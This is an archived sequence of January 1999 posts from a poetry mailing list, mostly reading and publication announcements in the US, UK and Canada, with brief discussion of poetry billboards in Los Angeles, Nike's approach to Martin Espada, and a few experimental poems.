>>Twenty-two of the books are published in the three-volume _Collected Works_
>>(Coffee House Press, 1996, 1997, 1998).
>>
>> The dolphin lives cleanly
>> Because it is said
>> The dolphin
>> Eats only darkness
>> And rain that falls on the sea.
>> --Paul Metcalf
>>
> + + +

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99. Harold Teichman
Bunting Noticed in LRB
Sun 24 Jan 1999

Some list members may enjoy reading August Kleinzahler's entertaining and properly appreciative (of Bunting) review of Keith Alldritt's unfortunately titled book "The Poet as Spy: The Life and Wild Times of Basil Bunting" in the perhaps unlikely venue of the London Review of Books, Vol. 21 No. 2, 21 Jan 1999.

Harold Teichman
[redacted]

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100. Daniel Kane
Sam Abrams / Andrei Codrescu
Sun 24 Jan 1999

I'm working on a dissertation at NYU covering the history of reading series in the Lower East Side during the 1960's. I need to get in touch with Sam Abrams (his role in organizing early events at the Poetry Project) and Andrei Codrescu (his role in a fake "assassination" of Kenneth Koch and a drug-bust release fundraiser held for him at the Poetry Project in 1968). If either of those poets are on this list, or if anyone feels o.k. about sending me phone #'s / e-mails for these fellows, I'd appreciate it ever so much.

Daniel Kane

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101. Bob Grumman
Address for Of Manywhere-at-Once
Sun 24 Jan 1999

My brain just isn't working anymore: in my announcement about my book I got down the box number you need to write to to order it (AFTER HAVING TO LOOK IT UP--though I've had it for 11 years), but forgot such details as the town and state. So here they are:

My Of Manywhere-at-Once is available from the Runaway Spoon Press, Box 3621, Port Charlotte FL 33949 (or e.mail me) for $10, ppd. Please make out checks to me, Bob Grumman.

--Bob G.

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102. A. Jenn Sondheim

ANNOUNCEMENT: NEBULOUS AWARDS: PLEASE TRY AND READ!!! (fwd)

Sun 24 Jan 1999

-

ANNOUNCEMENT:

SOME OF THE NEBULOUS AWARDS MIGHT BE COMING YOUR WAY, IF NOT OURS!

I think my friends Ryan Whyte and Tom Zummer and myself are possibly going to give the First Annual Nebulous Awards sometime this year or the next, if not earlier. These Awards are given to some of those people who might deserve it for things they probably have done sometime within the recent past, although to be honest, it might be within a more distant past, also probably if not earlier. There is almost no discrimination in regard to class, race, gender, religion, sexual preferance, or age, or other things. We're not sure which direction the discrimination might have taken, in regard to the group of people we're possibly considering for starting the cycle of Annual Awards, beginning with the First, although we might hold out long enough for the Second or a bit later, if not much later. It depends on who's running, who's counting, who's interested, if not interesting. We decided to offer these rewards because there's a lack, we think, of certainty in regard to these or other rewards, in various categories. We might have further announcements about this, so try and stay tuned; the whole thing could be rather exciting, if not altogether exciting.

Please contact one or all of us sometime!

Alan Sondheim

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103. John Tranter

Cambridge UK poetry conference

Mon 25 Jan 1999

Those listees who will be

or who would like to be in England on Shakespeare's birthday

listening to modern poetry, check out the announcement for

the The Ninth Cambridge Conference of Contemporary Poetry, Friday 23th to Sunday 25th April, 1999, at at Trinity College, Cambridge, England

in

Jacket magazine, Issue # 6 (preview) at this URL:

http://www.jacket.zip.com.au/jacket06/cccp1999.html

The one I went to in 1997 was great fun.

JT
from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
Editor, Jacket magazine: http://www.jacket.zip.com.au/welcome.html
Homepage: five megabytes of glittering literature, free, at
http://www.alm.aust.com/~tranterj/index.html

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104. William Marsh
murphy/ganick chap from PaperBrain
Mon 25 Jan 1999

PaperBrainPress is pleased to announce the publication of a new chapbook by Sheila Murphy and Peter Ganick

numens from centrality (an Email collaboration)

from the authors' afterward:

"Email collaboration fuses creation and relating in a way that makes composition resemble conversation. At the same time, it's a better conversation, one that has already trimmed the weeds, yet not fastidiously or obsessively."

40pp.
$5

for other titles and more info on the press, please visit the website at http://bmarsh.dtai.com/PBrain/pbrain.html

checks payable to:
PBrain Productions
1022 Emerald Street
San Diego, CA 92109

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105. Poetry Project
a reading
Mon 25 Jan 1999

This Sunday,

January 31

at 3 pm

a reading by Dan Machlin & Marcella Durand

at the Fall Cafe, in Carroll Gardens, Brooklyn

on Smith Street between Union & President Sts.

Take the F train to Carroll St. Walk 5 or so blocks down Smith back toward Manhattan.

Dan Machlin is the author of In Rem and has poems in the Winter 98/99 issue of Talisman, in Murmur, and forthcoming in Explosive. His text-photo collaboration is part of the December 98 issue of The Transcendental Friend. He is one of the 1998/99 curators of the Double Happiness reading series in New York.

Marcella Durand is the author of Lapsus Linguae and City of Ports (forthcoming from Situations this spring). She is presently co-editing Venice (the invisible city), a fine-arts and letterpress publication from Erato Press. Her work has appeared or is going to appear in Talisman, Angle, Chain, Monster Trucks & the World. She is currently the program coordinator of the Poetry Project at St. Mark's.

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106. Elizabeth Treadwell

Los Angeles--January 29--Double Lucy @ Beyond Baroque (Reminder & Details)

Mon 25 Jan 1999

& here are the real details, like the time:

DOUBLE LUCY BOOKS @ BEYOND BAROQUE

7:30 PM
Friday, January 29, 1999

SARAH ANNE COX
YEDDA MORRISON
ELIZABETH TREADWELL

reading.

Beyond Baroque:
681 Venice Bl, Venice
[redacted]

Double Lucy Chapbooks and catalogs will be available.
See you there!

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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107. nuyopoman
rEAL liVE pOETRY in NC
Mon 25 Jan 1999

Edwin Torres, Samantha Coerbell, Brenda Coultas -- part of the Real Live Poetry gang -- will be on the road in Winston-Salem Feb. 11 and Davidson College Feb 12-13, details forthcoming.

Looking for gigs in the neighborhood, price negotiable. More info on RLP:
http://www.washingtonsquarearts.com/rlp.html

Bob Holman
http://poetry.miningco.com

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108. Jordan Davis
Hat going fast
Mon 25 Jan 1999

Last chance for copies of The Hat #1!

$7 for a single issue

$12 for a two-issue subscription

$1000 for a lifetime subscription

In the first Hat: Greta Goetz Catherine Barnett
Brenda Coultas Tonya Foster Lisa Jarnot Janice Lowe
Kim Lyons Carol Mirakove Ange Mlinko Cynthia Nelson
Hoa Nguyen Alice Notley Prageeta Sharma Juliana
Spahr

What is under Hat number two? Hmm should I say? Due before The Phantom Menace M.....l G.....n M.....l G...i F.....n B...o E...i S.....s C...l S.....z a.d m..y m..e

Make checks payable to: Jordan Davis

and send to: The Hat c/o Edgar
331 E 9th St Apt 1
New York NY 10003
USA

ole!
J

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109. Christopher Reiner
Poetry on Billboards
Mon 25 Jan 1999

News from the west coast...

Around the first of January, I started noticing something new on some billboards here in L.A. Instead of the usual ads, there were short (really short) excerpts from poems -- not even excerpts, really, but one, two or four lines removed from their original context and left to hold their own alongside the Marlboro man and whatever. The first one I saw was from Emily Dickinson, then I saw one from Charles Bukowski, and I thought, what the hell is this? Then the L.A. Times ran a story on it ("A Turn for the Verse," Jan. 13, page E1), saying that there were a total of 60 billboards, with carefully clipped quotes from T.S. Eliot, Helene Johnson, Pablo Neruda, Wallace Stevens and Mark Strand...along with Dickinson and Bukowski (it's like one of those old Steve Allen "Meeting of the Minds" shows). The boards are being paid for by an anonymous group, "Poets Anonymous," and they've hired a major publicist, Susan Martin, "a poetry lover herself" (who showed up for the Times interview in a Lone Ranger mask "to dramatize the spirit of anonymity").

The idea behind the whole thing, according to Martin, is to provide "a kind of instant window for reflection," and to raise awareness of poetry. The sponsors did a lot of legwork, she says. "They did all the research to make sure the billboards covered every part of the city and bought the space. It was a huge, huge task."

NPR also did a report on this, and it's on their web site (http://www.npr.org/programs/morning/archives/1999/990119.me.html). They figure that it probably cost $10,000 per billboard. I did the math...it's $600,000.

Maybe I'm just too damn paranoid, but I think something really strange is going on here. 600K is a lot of money, and, according to the publicist, the group is not a non profit or a foundation. So it's got to be a business, right? And it's got to be a big business. Because they didn't just get the billboards, they got an expensive PR person to go with them.

Anyway, one more thing. Today I found an article from the San Francisco Chronicle (http://www.sfgate.com) about how a poet named Martin Espada was offered $2,500 by Nike to use one of his poems in a TV commercial. Nike is sponsoring something called the Nike Poetry Slam -- to along with a series of

four commercials about women athletes for the Winter Olympics (?) (!). Espada said no (on the basis on Nike's wretched labor policies, etc.) and wrote a letter to Nike (also published in the January issue of the Progressive). Needless to say, a lot of other people wrote poems and got the money.

Now, I don't know if Nike is behind these L.A. billboards (tho it could be). But it does seem that corporations are starting to see that there's money to be made in being associated with poetry (even anonymously). So my question is, is this what it's like not to be marginalized?

--Chris Reiner

Witz: A Journal of Contemporary Poetics
www.litpress.com/witz/

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110. Jessica Pompeii
love
Mon 25 Jan 1999

---

silver bull-
et fireworks
beer
and gat
his moon lit ass
on the roof
he shoots
up pussy
roulette rounds
flares of
a gambling man
/ exhibitionist
sometime artist
when his crazy jealous girl
isn't checking up
on him

(the last party
he dummied up a work
schedule just for her
a kool-aide valentine punch card)

J. Pompei

↑ Index

111. Daniel Kane
sikelianos talks sappho
Mon 25 Jan 1999

for those of you who may be interested, Teachers and Writers Collaborative has put a new page up on the writenet web site called "Featured Writer-in-Residence." this month, we're featuring poet Eleni Sikelianos -- Eleni discusses ways to teach Sappho to high-school students. Why not have a gander -- point your browser to

http://www.writenet.org/fwir_esikelianos.html

links to Eleni's poems are also on the site -- for those of you who haven't checked out her new book, this link may prove to be an "appetizer" and so on. -- daniel

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112. Peter Quartermain
Re: ANNOUNCEMENT: NEBULOUS AWARDS: PLEASE TRY AND READ!!! (fwd)
Tue 26 Jan 1999

Well, the real trouble is that I can't figure out if an award of this kind is the sort of thing one ought to avoid or ought to lust for, but then what does that ought mean. I mean, I think, that maybe there's no need for a duty or even a desire to be attached to either the receipt or the donation, and there might possibly be a slight doubt as to what an award of this sort might be for, motivationally thinking or socially if you get what I think I think Imean, and does any of us out there which might be here know or even have an inkling what an award is anyway and would any of us want to know why? (who's us, by the way?)

But yeah, if getting it -- one of it I mean -- is a good (?) thing, then would I like one; but otherwise perhaps, well gee, what do YOU think, hunh? But I'm not sure I want you (or anyone) to tell me. Even if I don't / do get one. (What IS it, to "get" one?)

Sounds, hmmm, thrilling. Is more possible to be told?

P

At 11:55 PM 1/24/99 -0500, you wrote:
>-
>
> ANNOUNCEMENT:
>
>

> SOME OF THE NEBULOUS AWARDS MIGHT BE COMING YOUR WAY, IF NOT OURS!
>
>
>
>I think my friends Ryan Whyte and Tom Zummer and myself are possibly going
>to give the First Annual Nebulous Awards sometime this year or the next,
>if not earlier. These Awards are given to some of those people who might
>deserve it for things they probably have done sometime within the recent
>past, although to be honest, it might be within a more distant past, also
>probably if not earlier. There is almost no discrimination in regard to
>class, race, gender, religion, sexual preferance, or age, or other things.
>We're not sure which direction the discrimination might have taken, in
>regard to the group of people we're possibly considering for starting the
>cycle of Annual Awards, beginning with the First, although we might hold
>out long enough for the Second or a bit later, if not much later. It
>depends on who's running, who's counting, who's interested, if not
>interesting. We decided to offer these rewards because there's a lack, we
>think, of certainty in regard to these or other rewards, in various
>categories. We might have further announcements about this, so try and
>stay tuned; the whole thing could be rather exciting, if not altogether
>exciting.
>
>Please contact one or all of us sometime!
>
>Alan Sondheim
>

+ + + +

113. Ron Silliman
Holbrook Teter
Tue 26 Jan 1999

Holbrook Teter, a book-maker and friend of poets whom I first met through Ed Dorn many moons ago (Nixon was president), died suddenly of a heart attack the other day. He also did a ton of community organizing in his day, a great combination of impulses for a life.

URL:
http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1999/01/26/MN52739.DTL

Ron

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114. Rebecca Wolff
Re: NYC Readings?
Tue 26 Jan 1999

In response to Mr. Peter Manson's query regarding readings for the weekend of February 5-7, now seems an appropriate moment to announce:

Fence is having a reading
Poetry and Fiction:

Anne Carson and Jeffrey Eugenides

Saturday, February 6th, 7 p.m.
at St. Peter's Episcopal Church, 346 W. 20th Street, between 8th and 9th Aves.

Admission is $7/or $12 gets you a year's subscription to Fence

RECEPTION TO FOLLOW (wine in a church)

Please come!

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115. Joanne Molina
Announcing Propjet Chapbook Series
Tue 26 Jan 1999

Dear Poetics:

I am pleased to (quite belatedly) announce the new chapbook series: Propjet. The first issue, Jefferson Hansen's "Spinning Doctors," is still available and Heather Fuller's piece, "Eyeshot," will be available by March. The last issue will be a piece by Sherry Brennan.

This small chapbook series is published three times a year by Joanne Molina using solicited manuscripts. Subscriptions are $10 a year and $3 per issue. Thanks to those who have already subscribed and I encourage everyone else to check it out-- this is really super stuff!

Thanks for all your support!

Please send all information to:

Joanne Molina
530 W. Diversey #312
Chicago, IL 60614

any questions, comments? please e-mail at [redacted]

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116. **dbkk**

Myung Mi Kim residency at SPT

Tue 26 Jan 1999

Small Press Traffic presents

Life/Forms: New Ways to See It, New Ways to Say It

A weekend "residency with Myung Mi Kim

Reading
Friday, January 29, 7:30 p.m.
New College Cultural Center
766 Valencia Street, San Francisco
$5

Salon
Saturday, January 30
1:00-3:00 p.m.
Lunch with Myung at Espresso Bravo Cafe
663 Valencia (between 17th and 18th), San Francisco
Stop by for great coffee, conversation, cheap food.

Talk
Saturday, January 30, 7:30 p.m.
The Speculative Poem: Laboratory & Industry
New College Cultural Center
766 Valencia Street, San Francisco
$5

The second residency in our new "Life/Forms" series is with San Francisco's own Myung Mi Kim, the widely acclaimed poet, editor and teacher. In her

creative thought, she has examined through social and political exigency the process of inducing inner-and outer-chaos to achieve a higher level of equilibrium. This rigorously calibrated poetry, so polyglot in execution, fairly drips with life, anxiety and multiple voices, and carves an opening towards a new kind of human community. Myung Mi Kim's books of poems are Dura (Sun & Moon, 1998), The Bounty (Chax Press, 1996), and Under Flag (Kelsey St., 1991). The winner of numerous awards, she is Associate Professor of Creative Writing at San Francisco State University.

↑ Index

117. Pritchett,Patrick

Elvis= Enlil?

Tue 26 Jan 1999

This ought to appeal to readers of Neal Stephenson's _Snow Crash_: Elvis songs to be recorded -- in ancient Sumerian January 21, 1999 Web posted at: 12:34 PM EST (1734 GMT) HELSINKI, Finland (Reuters) -- A Finnish academic known for recording Elvis Presley songs in Latin is planning a new record of eternal hits-- this time in the ancient Sumerian language. Jukka Ammondt told Reuters on Thursday he intends to bring out a Sumerian single in the next few months and an album in the autumn. He has been practising with "Blue Suede Shoes"--translated into the cuneiform language of Babylonia that died out around 2000 BC. "Elvis would have liked the idea because the ancient Sumerians had big parties and drums and rattles, and the roots of rock may go back to man's earliest efforts to get a grip on life," said Ammondt, who has produced two records of Elvis songs in Latin.

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118. CL Hamshaw

Art and History Lectures-Vancouver

Tue 26 Jan 1999

FOR IMMEDIATE RELEASE
EVENT DATES: Friday, February 19, 1999, 8pm
Sunday, March 7, 1999, 1pm
Friday, March 19, 1999, 8pm
LOCATION: Room 148, Cedar Building, Capilano College, 2055 Purcell Way, North Vancouver
CONTACT: Carol L. Hamshaw, [redacted]/[redacted]

The Koerner Lecture Series: Art, Politics, & History
Michael Turner, Nettie Wild, and Duncan McNaughton
Sponsored by The Capilano Review and the Capilano College Foundation

This spring The Capilano Review presents its first annual Koerner Lecture Series on Art, Politics, and History. Vancouver poet Michael Turner (Hard Core Logo, American Whiskey Bar), Vancouver documentary filmmaker Nettie Wild (A Place Called Chiapas), and San Francisco poet Duncan McNaughton (Valparaiso, another set / of circumstance.) will present selections from their work, and will discuss the impact of art and history on that work and on the formation of contemporary culture in a highly politicized world.

Friday, February 19, 8:00 pm <The Tyranny of Genre, or Why Listen to Peter Gzowski When You Can Talk About Contemporary Writing?> In this lecture Michael Turner will address issues of genre, modernism, experimentation, recent trends in Can Lit in relation to "our" international profile, and will explain "how Peter Gzowski has ruined writing in this country." He will also relate these issues to selections from his own work, from the documentary poems of Company Town (Arsenal Pulp Press) to his forthcoming book, The Pornographer's Poem (Doubleday Canada). Michael Turner is the author of four books, including the novel-in-verse Hard Core Logo, which was made into an award-winning motion picture. American Whiskey Bar, Turner's latest book, was recently made into a short film by City TV.

Sunday, March 7, 1:00 pm <Outside Eyes: Art, Politics, Contradictions> In this lecture Nettie Wild will show selections from her recent documentary, A Place Called Chiapas , and will discuss the relationships she sees between the politics of Mexico and Canada. She will also speak about "the role an artist plays in relation to political movements where the stakes are high." Wild's other award-winning films include A Rustling of Leaves: Inside the Philippine Revolution (1989) and Blockade (1993). She is travelling North America and Europe to attend screenings of A Place Called Chiapas, which was also broadcast as a two hour prime time special on CBC TV this last fall.

Friday, March 19, 8:00 pm <another set / of circumstance.: Poetry & Historical Geography> In this lecture Duncan McNaughton will discuss the relationship between poetry, history, and geography, arguing there is no history without geography, and that poetry as a form is central to contemporary thought. He will read from and speak to the work in his most recent book, another set / of circumstance. (hawkhaven). He has published over eleven volumes

of poetry, including the wrapped church (Blue Millennium/AIOU), Kicking the
Feather (First Intensity), and Valparaiso (Listening Chamber).

Admission is $5 adults, $3 students, and free for members of The Capilano Press Society, the publisher of The Capilano Review. Advance passes for all three lectures in the series are available for $12 by calling [redacted] or [redacted], or they can be bought at the door. Proceeds go to The Capilano Review Endowment Fund. Support for the series has been graciously provided by The Leon & Thea Koerner Foundation, The Capilano College Foundation, and the Humanities Division of Capilano College. The Capilano Review has been publishing innovative poetry, fiction, drama, and work in visual media for over 25 years. It has received several National Magazine Awards, Western Magazine Awards, and has been included in The Journey Prize Anthology.

Carol L. Hamshaw
Managing Editor
The Capilano Review
[redacted]

www.capcollege.bc.ca/dept/TCR

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

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119. Ron Silliman
Position available (must know Yiddish & Russian)
Wed 27 Jan 1999

Date: Thu, 21 Jan 1999 15:23:40 -0500 (EST)

From: Feigl I Glaser <[redacted]>

Subject: Russian Forverts position

Der redactor fun Rusishn FORVERTS zukht a mentsh vos ken gut Yidish un an ershtklasishn literarishn Rusish -- tsu helfn redagirn di tsaytung un zikh tsugreytn ibertsunemen di arbet vi redaktor fun der tsaytung. Kvalifitsirte mentshn vern gebetn tsu shraybna a briv direkt tsum redaktor, V. Yedydovitsh, oyfn adres fun Rusishn FORWARD, 45 East 33rd Street, New York, NY,10016, oder zikh tsu farbindn durkh e-post oyf mayn adres: [redacted].

The Editor of the Russian Weekly FORWARD is looking for a competent person who knows Yiddish well and has the knowledgable of literary Russian -- to assist him and train to become the future editor of that Russian newspaper. Qualifying persons are encouraged to send a letter directly to Mr. Yedydovitsh, Editor of theRussian weekly FORWARD, 45 East 33rd Street, New York, NY 10016, or send E-MAIL at my address: [redacted]. Mit frayndlekhe grusn, Feygl Infeld Glaser

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120. james perez
Fwd: poetry and sound in philly
Wed 27 Jan 1999

I just returned to the list after a two-month abscence, apologies if this has already been posted...also, I forwarded this so I can't afford much more info, sorry

jamie.p

>anyone interested in the below?
>
>Sonic Logos 1999
>Sunday, February 7th, 1pm-10pm
>The Coffeehouse of the First Unitarian Church, 2125 Chestnut St.,
>Philadelphia
>
>Here's the rundown. The day has been divided up into two parts and two
>rooms. Those staying for the whole show or who come after 5pm will be
>asked for a mere $5 dollar cover. Those coming for the poetry or until
>5pm will only have to pay a $2 charge. The main room will feature
stereo
>
>sound donated by Philly Space Enthusiast Andy Wing. (For those of you
>who were at last year's Ambient Fest, Stupid Robot, you may remember
>Andy as the man behind the excellent sound system). However there will
>also be non-stereo performances in the Little Miracles Kindergarten
>room, downstairs from the main room. This entire gig has been the
result
>
>of a very special collaboration of local Philly fringe music
organizers:
>
>the Philadelphia Ambient Consortium, IMP!, City of Improvizational

Zeal,
>
>and help from the NotCoffehouse Poetry Series organizers.
>
>Here's the schedule:
>
>[Main Room]
>
> 1:00-1:15 : Mytili Jagannathan - poetry
> 1:15-2:15 : Azusa Plane, Chris Rice, Ian Nagoski - Minimalism
>and abstract films
> 2:15-2:45 : Jeff Loo - poetry
> 2:45-3:15 : Brenda McMillan - poetry
> 3:00-3:45 : Dave Champion
> 3:45-4:15 : Dave Moolten - poetry
> 4:15-4:45 : Lisa Sewell - poetry
> 4:45-5:00 : break
> 5:00-6:15 : Paul Woznicki
> 6:15-7:30 : Fingernail
> 7:30-8:45 : Flowchart
> 8:45-10:00 : Transient Waves
>
>[Small Room: Little Miracles Kindergarten]
>
> 1:15-2:15 : Unsound
> 2:30-3:00 : Mike Benedetti - Performance Art
> 3:00-4:00 : John Philips
> 4:00-5:00 : Charles Cohen & Elliott Levin
> 5:00-6:00 : Jeff Waring
>
>There are still a good number of ambienteers and experimentalists who
>are not yet on-line so please help spread the word offline. Thank you
so
>
>much. See you at Sonic Logos 99!
>
>Regards,
>Aharon N. Varady
>dj spaceling
>
>Check out the poster at:

>The Philadelphia Ambient Consortium (Music and Noise)
>http://members.xoom.com/spaceling/

Get Your Private, Free Email at http://www.hotmail.com

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121. Charles Alexander
fischer & grossman in tucson
Wed 27 Jan 1999

All the events below are in Tucson, Arizona

POG Poets & Artists Series announces

A Poetry Reading and Visual Art Talk

Norman Fischer (poet and Zen teacher and abbott)
Maurice Grossman (artist and teacher)
7pm Saturday, Feb. 6
Las Artes Studio
23 West 27th Street
(one block west of South 6th Avenue)

> This event is sponsored by POG (Poetry Group).
> For information contact Chax Press at [redacted], [redacted]

*

There are also other norman fischer events in Tucson on February 7 and February 8

1.
university talk:
Norman Fischer
"do you want to make something out of it? zen meditation and art making."
Student Union room 285
Monday, Feb 8, 11 am
also looks like Jen B is gonna read/present along w Erica Hunt on the 13th.
good deal.

> This event is sponsored by the Univ. of Arizona Department of English.
> Contact Tenney Nathanson for information —
[redacted] or [redacted] [redacted]

2.
A public talk at the Unitarian Universalist Church

4831 E 22nd St
Sunday, Feb 7 -- 10:30am
Norman Fischer will give the sermon at the regular UU Service.

For further information please contact the UU Church ([redacted])

3.
A public Dharma talk at the Zendo
Sunday, Feb 7, 7-9pm
At the Zen Desert Sangha Zendo
3226 N Martin Ave
Topic - "Not Knowing is Most Intimate: A Talk On Zen Practice."
This talk will be in an informal setting, and you are encouraged to bring family, friends and guests. There will be a question-and-answer period following the talk. A donation of $7 is being requested, although as always, nobody will be turned away for lack of funds.

Sponsored by Zen Desert Sangha.
For information, contact Richard J Laue ([redacted]; [redacted])

ZOKETSU NORMAN FISCHER - a short bio

Zoketsu Norman Fischer is a poet and Zen Buddhist priest who is currently serving as Co-Abbot of the San Francisco Zen Center. A man of wide-ranging interests, his Zen teaching is known for its eclecticism, openness, warmth, and common sense, and for his willingness to let go of everything, including Zen. He was ordained a Zen priest at Zen Center in 1980, and completed Dharma Transmission there in 1988. He was installed as an Abbot of Zen Center in 1996.

Norman has been particularly interested in the application of Zen to issues of Western culture and everyday life in the world. He's taught extensively, with his old friend Rabbi Alan Lew, on the relationship between Buddhist and Jewish practice (work which has been discussed in Judith Linzer's book, "Dharma and Torah"); he teaches Buddhist precepts to business people, Buddhist compassion-in-action to school teachers, and poetry writing and appreciation to children and adults. He's led workshops at Esalen Institute in California and the Open Center in New York City, as well as at Zen Center, and teaches Zen regularly in Canada and Mexico. He has been for many years board chair of the Zen Hospice Project, and has taught extensively on the relation of Buddhism to death and the dying process. In recent years he's participated with His Holiness the Dalai Lama in conferences on Buddhist Christian dialog and non-violence.

MAURICE GROSSMAN, ARTIST -- a short bio

Professor Emeritus of Art, University of Arizona
Award winning artist/teacher
Educated at Wayne State University, Ohio State University and Alfred University
Fulbright Scholar to Japan
NEA Craft Award
Creative Teaching Award, University of Arizona Foundation
Fifty years producing and exhibiting clay art
Work in many national and international collections
Major contributor to the Arizona Art scene since 1955
World traveler and lover of clay

"My current work is part of a continuing adventure into vessel making. The ceremonial objects of many cultures have been of interest to me throughout my art career. The containers that people are buried in, the ritual vessels we appease the Gods with or the reliquaries we store holy objects in, these all have a certain magic about them that I enjoy."

---

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

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122. Elizabeth Treadwell

Avec Sampler Readings in SF

Wed 27 Jan 1999

Hi folks-- I've been asked to post these 2, one is a reminder, one I don't *think* has been posted yet.....

1. A READING FOR AVEC SAMPLER #2

Andrew Joron
Christopher Reiner
Joe Ross
Elizabeth Treadwell

SUNDAY, JANUARY 31, 1999
3 PM
Canessa Gallery
708 Montgomery Street
(at Columbus Ave)
SAN FRANCISCO

[redacted]

$5

2. The Second Bay Area Reading for _An Avec Sampler #2_:
>
>MICHAEL PALMER
>
>Lisa Lubasch
>(flying in from New York City)
>
>Charles Borkhuis
>(flying in from New York City)
>
>Saturday, Feb. 6th; 5 p.m. at The Attic, 3336 24th Street, near Mission,
>across from the 24th Street Bart Station.
>Phone:[redacted]. Free.

--Elizabeth Treadwell

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123. Karen McKevitt
New Fourteen Hills!
Thu 28 Jan 1999

The Fall 1998 issue of Fourteen Hills:The SFSU Review is now available! Published by graduate students of San Francisco State University's Creative Writing Dept. 171 pages. Contributors include: Alissa Blackman, David Breskin, Marianna Cherry, Matthew Coooperman, Daniel Coshnear, Stuart Feinhor, Do Gentry, Bill Gordon, Sonia Greenfield, Stephen D. Guiterrez, Edward Hardy, Otis Haschemeyer, Jen Hofer, Pierre Joris, James Kass, Philip Kobylarz, Daniel Langton, John Latta, Edward Moyer, Fred Muratori, Alejandro Murguia, Sabina Piersol, Kevin Prufer, Bill Roorbach, Sarah Rosenthal, Lauren Schiffman, Glori Simmons, Dean Taciuch, David Trinidad, and Rachel Zucker. Great mixed media collage cover art by Parsons School of Design graduate Andrea Nelson.

Whew! All this for only $7!!

Check payable to Fourteen Hills, send to:
Fourteen Hills
Creative Writing Dept
San Francisco State Univ
1600 Holloway
San Francisco, CA 94132

Questions? Email us! [redacted]
http://mercury.sfsu.edu/~hills/14hills.html

Also available from Small Press Distribution.

Get Your Private, Free Email at http://www.hotmail.com

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124. David Baratier
Will Alexander's Above The Human Nerve Domain is out
Thu 28 Jan 1999

Above The Human Nerve Domain by Will Alexander
his newest collection of poems
is now available from Pavement Saw Press

Samples of the work can be found on:

http://www.poetryproject.com/poets.html

Poetry, 72pp, Perfect bound.
ISBN 1-886350-81-7
Trade Soft-Cover edition. Price: $12.00 for individuals in US
Add $2 for Canada, $4.50 for points overseas. If you cannot afford this,

ask your local library to buy it for you. Distributed by Pavement Saw Press, Brodart & SPD.

ISBN 1-886350-82-5
Hardcover limited edition. $75.00
50 or less copies made. Homemade & handbound.

Please send checks payable to:
Pavement Saw Press
7 James Street
Scotia, NY 12302
Attn: David Baratier

Previously placed orders are forthcoming!

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125. Linda V Russo
Editing Modernism
Thu 28 Jan 1999

---

or to be more specific, _Women Editing Modernism : 'Little' Magazines & Literary History_ :

can anyone provide contact information for Jayne E. Marek, the author of the above-mentioned book?

It is, by the way, a great book, especially the chapter on Marianne Moore & The Dial, "The Ironic 'Editorial We'" which resituates Moore's own 'self-effacement'/absorption into the editorial collaboration (such as it was or wasn't is discussed thoroughly) as it arises out of her sense of institutional/personal/self - respect rather than as a result of a self-marginalizing lack of self confidence.

Which is not to say "it all depends on how you look at it" but a lot depends on how _long_ you look at it and at what point you are willing to dismiss 'the rest' as 'inconsequential' to the annals of literary history. (Raymond Williams' notion of a 'selective tradition')

thanks & a warm hello to the list

Linda Russo
[redacted]

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126. Mike Kelleher
a l y r i c 9
Thu 28 Jan 1999

Hello poets and friends,

Here, finally, is a l y r i c m a i l e r #9 at

http://writing.upenn.edu/spc/alyric/index.html

"notes from the place(less Place)" gathering of poets in June 98.

Featuring talks on place(less)ness by

Taylor Brady, Nick Lawrence, Tom Orange, Scott Pound, and Eleni Stecopoulos

and poems by

Michelle Citron

Ben Friedlander

Graham Foust

Kevin Hehir

Mike Kelleher

Nick Lawrence

Karen Mac Cormack

Tom Orange

Scott Pound

Aaron Skomra

Eleni Stecopoulos

Enjoy!

Next up a special double author issue featuring Anselm Berrigan and Lisa Jarnot.

See ya,

Mike

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127. David Baratier
billboards
Thu 28 Jan 1999

Non coastal news...

Martin Espada's book _City of Coughing & dead radiators_ or _Rebellion_ give many reasons as to why it would make no sense for Nike to solicit him for a poem. Another person I know was offered the same gig & declined. Unlike Marteen (I can't use the stress mark, so...) he does look good playing basketball, face probably will sell shoes, & only has one similarity: (merely coincidence? I doubt it) being a minority.

So Chris, is this what it's like not to be marginalized?

The marginalization comes in when a poet is chosen as spokesperson because they fit a particular stereotype the media wishes to uphold. The media says: We need an angry latino male. What non-LA poet was dolled up to fit the image of a Rodney King race rioter? How were all those early 90's MTV poets chosen? We need a timid white guy whose ass can sell jeans. How else is there to explain why self published poet extraordinaire Hank Rollins who covered "Just do it" by the Pink Fairies hasn't done a commercial for Nike?

Be well

David Baratier

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128. A. Jenn Sondheim
(no subject)
Fri 29 Jan 1999

-

< a wild man lives here >

< he dwells in spaces of inscription >

< he has no name here >

< he dwells here and not up there >

< he lives here and has left his other dwellings>

< a wild man lives here >

< a girl lives here and she doesn't know any language >

< a girl lives here > < a girl lives here >

< some girls >

< the wild man is taught language by some girls >

< his name is alan >

< he lives here and has left his other dwellings >

< some girls leave their dwellings >

< they like talking when he's not around >

< a girl >

< he's so stupid >

< some other people live here >

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129. Douglas Oliver
Re: Locker & Steerer
Fri 29 Jan 1999

Nicholas Johnson has asked me to post this revised version of an earlier posting.

FOR THE LOCKER & THE STEERER

a two day event at Diorama Arts, 34 Osnaburgh Street, London, NW1, featuring artists whose poetry & performance negotiates the territory of location, site & the body.

Sunday 14th March 2.30 pm

David Gascoyne.

(First London reading since 1990. The great British surrealist of the 1930s, who enjoyed a tremendous revival of attention during the 1960s and has now become Britain's most loved elder statesperson of poetry.)

Sunday 14th March 7.30 pm

Aaron Williamson & Craig Athill.

(Astill plays the deaf drum (bodhran) creating a sound which vibrates through an especially constructed stage, animating the balletic voice-body performance of Williamson, who is deaf.)

Bob Cobbing.

(The celebrated sound/concrete poet/bookmaker, who has influenced generations of other poets across the world.)

Nicholas Johnson

(performing The Lard Book, a gargantuan Visual Book in a silver case, a found text utilising a multitude of voices: neologism, German, concrete. "The performance encompasses determinacy of chance & will solder into a short collaborative debut of 'Hassell' (writers forum, 1999) with Bob Cobbing.")

Monday 15th March 7.30 pm

Helen Macdonald

(whose debut collection Safety Catch drew widespread acclaim on both sides of the Atlantic. She works with falcons and hawks -- poems full of bird flight but mysteriously and musically so.)

